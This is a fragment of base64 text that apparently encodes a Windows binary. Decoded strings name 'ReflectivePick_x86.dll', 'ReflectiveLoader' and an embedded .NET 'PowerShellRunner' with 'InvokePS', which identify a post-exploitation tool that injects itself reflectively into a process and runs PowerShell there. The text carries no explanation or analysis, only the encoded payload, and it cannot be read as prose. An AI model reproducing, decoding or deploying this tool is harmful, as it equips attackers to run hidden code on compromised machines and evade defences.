tAE4ATwAAAAAAYQByAC0AVABOAAAAZQBuAC0AWgBBAAAAZQBzAC0ARABPAAAAcwByAC0AQgBBAC0AQwB5AHIAbAAAAAAAcwBtAGEALQBTAEUAAAAAAGEAcgAtAE8ATQAAAGUAbgAtAEoATQAAAGUAcwAtAFYARQAAAHMAbQBzAC0ARgBJAAAAAABhAHIALQBZAEUAAABlAG4ALQBDAEIAAABlAHMALQBDAE8AAABzAG0AbgAtAEYASQAAAAAAYQByAC0AUwBZAAAAZQBuAC0AQgBaAAAAZQBzAC0AUABFAAAAYQByAC0ASgBPAAAAZQBuAC0AVABUAAAAZQBzAC0AQQBSAAAAYQByAC0ATABCAAAAZQBuAC0AWgBXAAAAZQBzAC0ARQBDAAAAYQByAC0ASwBXAAAAZQBuAC0AUABIAAAAZQBzAC0AQwBMAAAAYQByAC0AQQBFAAAAZQBzAC0AVQBZAAAAYQByAC0AQgBIAAAAZQBzAC0AUABZAAAAYQByAC0AUQBBAAAAZQBzAC0AQgBPAAAAZQBzAC0AUwBWAAAAZQBzAC0ASABOAAAAZQBzAC0ATgBJAAAAZQBzAC0AUABSAAAAegBoAC0AQwBIAFQAAAAAAHMAcgAAAAAAYQBmAC0AegBhAAAAYQByAC0AYQBlAAAAYQByAC0AYgBoAAAAYQByAC0AZAB6AAAAYQByAC0AZQBnAAAAYQByAC0AaQBxAAAAYQByAC0AagBvAAAAYQByAC0AawB3AAAAYQByAC0AbABiAAAAYQByAC0AbAB5AAAAYQByAC0AbQBhAAAAYQByAC0AbwBtAAAAYQByAC0AcQBhAAAAYQByAC0AcwBhAAAAYQByAC0AcwB5AAAAYQByAC0AdABuAAAAYQByAC0AeQBlAAAAYQB6AC0AYQB6AC0AYwB5AHIAbAAAAAAAYQB6AC0AYQB6AC0AbABhAHQAbgAAAAAAYgBlAC0AYgB5AAAAYgBnAC0AYgBnAAAAYgBuAC0AaQBuAAAAYgBzAC0AYgBhAC0AbABhAHQAbgAAAAAAYwBhAC0AZQBzAAAAYwBzAC0AYwB6AAAAYwB5AC0AZwBiAAAAZABhAC0AZABrAAAAZABlAC0AYQB0AAAAZABlAC0AYwBoAAAAZABlAC0AZABlAAAAZABlAC0AbABpAAAAZABlAC0AbAB1AAAAZABpAHYALQBtAHYAAAAAAGUAbAAtAGcAcgAAAGUAbgAtAGEAdQAAAGUAbgAtAGIAegAAAGUAbgAtAGMAYQAAAGUAbgAtAGMAYgAAAGUAbgAtAGcAYgAAAGUAbgAtAGkAZQAAAGUAbgAtAGoAbQAAAGUAbgAtAG4AegAAAGUAbgAtAHAAaAAAAGUAbgAtAHQAdAAAAGUAbgAtAHUAcwAAAGUAbgAtAHoAYQAAAGUAbgAtAHoAdwAAAGUAcwAtAGEAcgAAAGUAcwAtAGIAbwAAAGUAcwAtAGMAbAAAAGUAcwAtAGMAbwAAAGUAcwAtAGMAcgAAAGUAcwAtAGQAbwAAAGUAcwAtAGUAYwAAAGUAcwAtAGUAcwAAAGUAcwAtAGcAdAAAAGUAcwAtAGgAbgAAAGUAcwAtAG0AeAAAAGUAcwAtAG4AaQAAAGUAcwAtAHAAYQAAAGUAcwAtAHAAZQAAAGUAcwAtAHAAcgAAAGUAcwAtAHAAeQAAAGUAcwAtAHMAdgAAAGUAcwAtAHUAeQAAAGUAcwAtAHYAZQAAAGUAdAAtAGUAZQAAAGUAdQAtAGUAcwAAAGYAYQAtAGkAcgAAAGYAaQAtAGYAaQAAAGYAbwAtAGYAbwAAAGYAcgAtAGIAZQAAAGYAcgAtAGMAYQAAAGYAcgAtAGMAaAAAAGYAcgAtAGYAcgAAAGYAcgAtAGwAdQAAAGYAcgAtAG0AYwAAAGcAbAAtAGUAcwAAAGcAdQAtAGkAbgAAAGgAZQAtAGkAbAAAAGgAaQAtAGkAbgAAAGgAcgAtAGIAYQAAAGgAcgAtAGgAcgAAAGgAdQAtAGgAdQAAAGgAeQAtAGEAbQAAAGkAZAAtAGkAZAAAAGkAcwAtAGkAcwAAAGkAdAAtAGMAaAAAAGkAdAAtAGkAdAAAAGoAYQAtAGoAcAAAAGsAYQAtAGcAZQAAAGsAawAtAGsAegAAAGsAbgAtAGkAbgAAAGsAbwBrAC0AaQBuAAAAAABrAG8ALQBrAHIAAABrAHkALQBrAGcAAABsAHQALQBsAHQAAABsAHYALQBsAHYAAABtAGkALQBuAHoAAABtAGsALQBtAGsAAABtAGwALQBpAG4AAABtAG4ALQBtAG4AAABtAHIALQBpAG4AAABtAHMALQBiAG4AAABtAHMALQBtAHkAAABtAHQALQBtAHQAAABuAGIALQBuAG8AAABuAGwALQBiAGUAAABuAGwALQBuAGwAAABuAG4ALQBuAG8AAABuAHMALQB6AGEAAABwAGEALQBpAG4AAABwAGwALQBwAGwAAABwAHQALQBiAHIAAABwAHQALQBwAHQAAABxAHUAegAtAGIAbwAAAAAAcQB1AHoALQBlAGMAAAAAAHEAdQB6AC0AcABlAAAAAAByAG8ALQByAG8AAAByAHUALQByAHUAAABzAGEALQBpAG4AAABzAGUALQBmAGkAAABzAGUALQBuAG8AAABzAGUALQBzAGUAAABzAGsALQBzAGsAAABzAGwALQBzAGkAAABzAG0AYQAtAG4AbwAAAAAAcwBtAGEALQBzAGUAAAAAAHMAbQBqAC0AbgBvAAAAAABzAG0AagAtAHMAZQAAAAAAcwBtAG4ALQBmAGkAAAAAAHMAbQBzAC0AZgBpAAAAAABzAHEALQBhAGwAAABzAHIALQBiAGEALQBjAHkAcgBsAAAAAABzAHIALQBiAGEALQBsAGEAdABuAAAAAABzAHIALQBzAHAALQBjAHkAcgBsAAAAAABzAHIALQBzAHAALQBsAGEAdABuAAAAAABzAHYALQBmAGkAAABzAHYALQBzAGUAAABzAHcALQBrAGUAAABzAHkAcgAtAHMAeQAAAAAAdABhAC0AaQBuAAAAdABlAC0AaQBuAAAAdABoAC0AdABoAAAAdABuAC0AegBhAAAAdAByAC0AdAByAAAAdAB0AC0AcgB1AAAAdQBrAC0AdQBhAAAAdQByAC0AcABrAAAAdQB6AC0AdQB6AC0AYwB5AHIAbAAAAAAAdQB6AC0AdQB6AC0AbABhAHQAbgAAAAAAdgBpAC0AdgBuAAAAeABoAC0AegBhAAAAegBoAC0AYwBoAHMAAAAAAHoAaAAtAGMAaAB0AAAAAAB6AGgALQBjAG4AAAB6AGgALQBoAGsAAAB6AGgALQBtAG8AAAB6AGgALQBzAGcAAAB6AGgALQB0AHcAAAB6AHUALQB6AGEAAAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpbXF1eX2BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fX5/AEMATwBOAE8AVQBUACQAAABBAAAAFwAAAASzABBlKzAwMAAAADEjU05BTgAAMSNJTkQAAAAxI0lORgAAADEjUU5BTgAA4OkAEEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACcARCAQwEQCAAAAAypARAAAAAAAAAAAP////8AAAAAQAAAAHRCARAAAAAAAAAAAAEAAACEQgEQWEIBEAAAAAAAAAAAAAAAAAAAAADwqAEQoEIBEAAAAAAAAAAAAgAAALBCARC8QgEQWEIBEAAAAADwqAEQAQAAAAAAAAD/////AAAAAEAAAACgQgEQAAAAAAAAAAAAAAAADKkBEHRCARAAAAAAAAAAAAAAAAAoqQEQAEMBEAAAAAAAAAAAAQAAABBDARAYQwEQAAAAACipARAAAAAAAAAAAP////8AAAAAQAAAAABDARAAAAAAAAAAAAAAAABAqQEQSEMBEAAAAAAAAAAAAgAAAFhDARBkQwEQWEIBEAAAAABAqQEQAQAAAAAAAAD/////AAAAAEAAAABIQwEQLyMAAGAjAABwQAAAYH8AAFCAAABq6gAAreoAAMjqAAAAAAAAAAAAAAAAAAAAAAAA/////2DqABAiBZMZAQAAALBDARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAiBZMZBQAAAABEARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////heoAEAAAAACN6gAQAQAAAJXqABACAAAAneoAEAMAAACl6gAQAAAAACobABAAAAAAOEQBEAIAAABERAEQYEQBEBAAAADwqAEQAAAAAP////8AAAAADAAAAA8bABAAAAAADKkBEAAAAAD/////AAAAAAwAAAC1KgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAI0iABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA+icAEAAAAAD+////AAAAANT///8AAAAA/v///5IpABCsKQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAFlEABD+////AAAAAGVEABD+////AAAAANj///8AAAAA/v///wAAAADJRQAQ/v///wAAAADYRQAQ/v///wAAAADY////AAAAAP7///8kRwAQKEcAEAAAAAD+////AAAAANj///8AAAAA/v////BGABD0RgAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAMBTABAAAAAAhVMAEI9TABD+////AAAAALD///8AAAAA/v///wAAAABzSQAQAAAAAMdIABDRSAAQ/v///wAAAADY////AAAAAP7////nUAAQ61AAEAAAAAD+////AAAAANj///8AAAAA/v///7xHABDFRwAQQAAAAAAAAAAAAAAAIEoAEP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAA/EUBECIFkxkCAAAADEYBEAEAAAAcRgEQAAAAAAAAAAAAAAAAAQAAAAAAAAD+////AAAAANT///8AAAAA/v///6JSABCmUgAQAAAAAAJIABAAAAAAhEYBEAIAAACQRgEQYEQBEAAAAABAqQEQAAAAAP////8AAAAADAAAAOdHABAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAdFoAEAAAAAD+////AAAAAHz///8AAAAA/v///wAAAABRXQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAANNqABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAJGwAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABhbQAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAPVuABAAAAAAAAAAAL9uABD+////AAAAANT///8AAAAA/v///wAAAAB/cgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACd2ABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAoncAEAAAAAD+////AAAAANj///8AAAAA/v///1l+ABBsfgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAG2IABAAAAAA/v///wAAAAC8////AAAAAP7///8AAAAA8YoAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABykgAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAEKTABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAKpQAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABJqwAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMOsABAAAAAA/v///wAAAADI////AAAAAP7///8AAAAAq64AEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAAWsAAQAAAAAP7///8AAAAA2P///wAAAAD+////gecAEJ3nABAAAAAA5P///wAAAADI////AAAAAP7///+v6AAQtegAEAAAAACw6QAQAAAAAGRJARABAAAAbEkBEAAAAABgqQEQAAAAAP////8AAAAAEAAAAHDpABAAAAAAAAAAAAAAAABjiTNWAAAAAMxJAQABAAAAAgAAAAIAAAC4SQEAwEkBAMhJAQBCEAAAaBgAAONJAQD0SQEAAAABAFJlZmxlY3RpdmVQaWNrX3g4Ni5kbGwAUmVmbGVjdGl2ZUxvYWRlcgBWb2lkRnVuYwAAAAA8SgEAAAAAAAAAAACOSwEAAPAAAEBLAQAAAAAAAAAAAJxLAQAE8QAAAAAAAAAAAAAAAAAAAAAAAAAAAABsSwEAfksBAApQAQD+TwEA8E8BAOBPAQDMTwEAvE8BAK5PAQCqSwEAtksBAMhLAQDeSwEA6ksBAPpLAQAKTAEAHEwBACxMAQA4TAEAVEwBAGhMAQCATAEAmEwBAKhMAQC2TAEAzEwBAOJMAQD4TAEACk0BABpNAQAoTQEAQE0BAFJNAQBoTQEAgk0BAJhNAQCyTQEAzE0BAOZNAQACTgEAIE4BAEhOAQBQTgEAZE4BAHhOAQCETgEAkk4BAKBOAQCqTgEAvk4BAMpOAQDgTgEA8k4BAPxOAQAITwEAFE8BACZPAQA0TwEASk8BAF5PAQBuTwEAgE8BAJJPAQCeTwEAAAAAAAkAAIAIAACAmwEAgBoAAIAWAACAFQAAgBAAAIAPAACABgAAgAIAAIAAAAAAnQJHZXRQcm9jQWRkcmVzcwAAqANMb2FkTGlicmFyeVcAAEtFUk5FTDMyLmRsbAAAT0xFQVVUMzIuZGxsAACtBFJ0bFVud2luZADIAUdldENvbW1hbmRMaW5lQQAOAkdldEN1cnJlbnRUaHJlYWRJZAAALwNIZWFwQWxsb2MAIQFFbmNvZGVQb2ludGVyAP4ARGVjb2RlUG9pbnRlcgBABFJhaXNlRXhjZXB0aW9uAABQAkdldExhc3RFcnJvcgAAMwNIZWFwRnJlZQAAbQNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AGcDSXNEZWJ1Z2dlclByZXNlbnQAJQFFbnRlckNyaXRpY2FsU2VjdGlvbgAAogNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAACwVTZXRMYXN0RXJyb3IAAFEBRXhpdFByb2Nlc3MAZgJHZXRNb2R1bGVIYW5kbGVFeFcAANEDTXVsdGlCeXRlVG9XaWRlQ2hhcgDNBVdpZGVDaGFyVG9NdWx0aUJ5dGUAogJHZXRQcm9jZXNzSGVhcAAAwAJHZXRTdGRIYW5kbGUAAD4CR2V0RmlsZVR5cGUABQFEZWxldGVDcml0aWNhbFNlY3Rpb24AvgJHZXRTdGFydHVwSW5mb1cAYgJHZXRNb2R1bGVGaWxlTmFtZUEAAC0EUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIACgJHZXRDdXJyZW50UHJvY2Vzc0lkANYCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAJwJHZXRFbnZpcm9ubWVudFN0cmluZ3NXAACdAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAIIFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABDBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBIA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAUgVTbGVlcAAJAkdldEN1cnJlbnRQcm9jZXNzAGEFVGVybWluYXRlUHJvY2VzcwAAcwVUbHNBbGxvYwAAdQVUbHNHZXRWYWx1ZQB2BVRsc1NldFZhbHVlAHQFVGxzRnJlZQBnAkdldE1vZHVsZUhhbmRsZVcAAOEFV3JpdGVGaWxlAGMCR2V0TW9kdWxlRmlsZU5hbWVXAAByA0lzVmFsaWRDb2RlUGFnZQCkAUdldEFDUAAAhgJHZXRPRU1DUAAAswFHZXRDUEluZm8ApwNMb2FkTGlicmFyeUV4VwAANgNIZWFwUmVBbGxvYwD6A091dHB1dERlYnVnU3RyaW5nVwAAkgFGbHVzaEZpbGVCdWZmZXJzAADcAUdldENvbnNvbGVDUAAA7gFHZXRDb25zb2xlTW9kZQAAxQJHZXRTdHJpbmdUeXBlVwAAOANIZWFwU2l6ZQAAlgNMQ01hcFN0cmluZ1cAAH8AQ2xvc2VIYW5kbGUAIgVTZXRTdGRIYW5kbGUAAP0EU2V0RmlsZVB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xAAYBagD5AAYBagABAQYBagAJAQYBagARAQYBQgEZAQYBagAhAQYBagApAQYBagAxAQYBRwFBAQYBPABJAQYBGABRAS4KTgFRAVEKVAFhAYMKWwFpAZIKGABpAaAKZgFxAcEKbAF5Ac4KagAMAOAKegGBAf0KgAF5AQwLagBxARALigGRASMLGAARAEkBMgAJAAYBGAAxAAYBrQGZAUMLvQGZAXEBNwCZAYQBNwChAQYBagApAG0LyAERAAYBGAAZAAYBGABBAAYBGABBAHULzQGpAYML0wFBAIoLzQEJAJULKQChAJ4LPAChAKgLPACpALMLPACpALkLPAAhAAYBGAAuAAsAAAIuABMAFgIuABsAFgIuACMAFgIuACsAAAIuADMAHAIuADsAFgIuAEsAFgIuAFMANAIuAGMAXgIuAGsAawIuAHMAdAIuAHsAfQKTAaQBqQGzAbgBwwHZAd4B4wHoAe0B8QEDAAEABAAHAAUACQAAAPYBQQAAAAECRgAAADUBSgAAAAYCTwAAAAkCVAAAABgCVAAAAPoDRgAAAAEEtQAAAIIGKwEAAJIGMAEAAJ0GNQEAAKwGOgEAALcGKwEAAMcGPgEAANQGMAEAAOoGMAEAAPgGNQEAAAcHMAEAABIHRgACAAMAAwACAAQABQACAAUABwACAAYACQACAAcACwACAAgADQACABoADwACAB8AEQACACIAEwABACMAEwACACQAFQABACUAFQABACcAFwACACYAFwABACkAGQACACgAGQACACsAGwABACwAGwACAC4AHQACAC8AHwACADAAIQACADUAIwABADYAIwACADcAJQABADgAJQACADkAJwABADoAJwByAQSAAAABAAAAAAAAAAAAAAAAAB8AAAACAAAAAAAAAAAAAAABAHUAAAAAAAEAAAAAAAAAAAAAAAoAjAAAAAAAAwACAAQAAgAFAAIAAAAAPE1vZHVsZT4AUG93ZXJTaGVsbFJ1bm5lci5kbGwAUG93ZXJTaGVsbFJ1bm5lcgBDdXN0b21QU0hvc3QAQ3VzdG9tUFNIb3N0VXNlckludGVyZmFjZQBDdXN0b21QU1JIb3N0UmF3VXNlckludGVyZmFjZQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5Ib3N0AFBTSG9zdABQU0hvc3RVc2VySW50ZXJmYWNlAFBTSG9zdFJhd1VzZXJJbnRlcmZhY2UASW52b2tlUFMALmN0b3IAR3VpZABfaG9zdElkAF91aQBnZXRfSW5zdGFuY2VJZABnZXRfTmFtZQBWZXJzaW9uAGdldF9WZXJzaW9uAGdldF9VSQBTeXN0ZW0uR2xvYmFsaXphdGlvbgBDdWx0dXJlSW5mbwBnZXRfQ3VycmVudEN1bHR1cmUAZ2V0X0N1cnJlbnRVSUN1bHR1cmUARW50ZXJOZXN0ZWRQcm9tcHQARXhpdE5lc3RlZFByb21wdABOb3RpZnlCZWdpbkFwcGxpY2F0aW9uAE5vdGlmeUVuZEFwcGxpY2F0aW9uAFNldFNob3VsZEV4aXQASW5zdGFuY2VJZABOYW1lAFVJAEN1cnJlbnRDdWx0dXJlAEN1cnJlbnRVSUN1bHR1cmUAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBfc2IAX3Jhd1VpAENvbnNvbGVD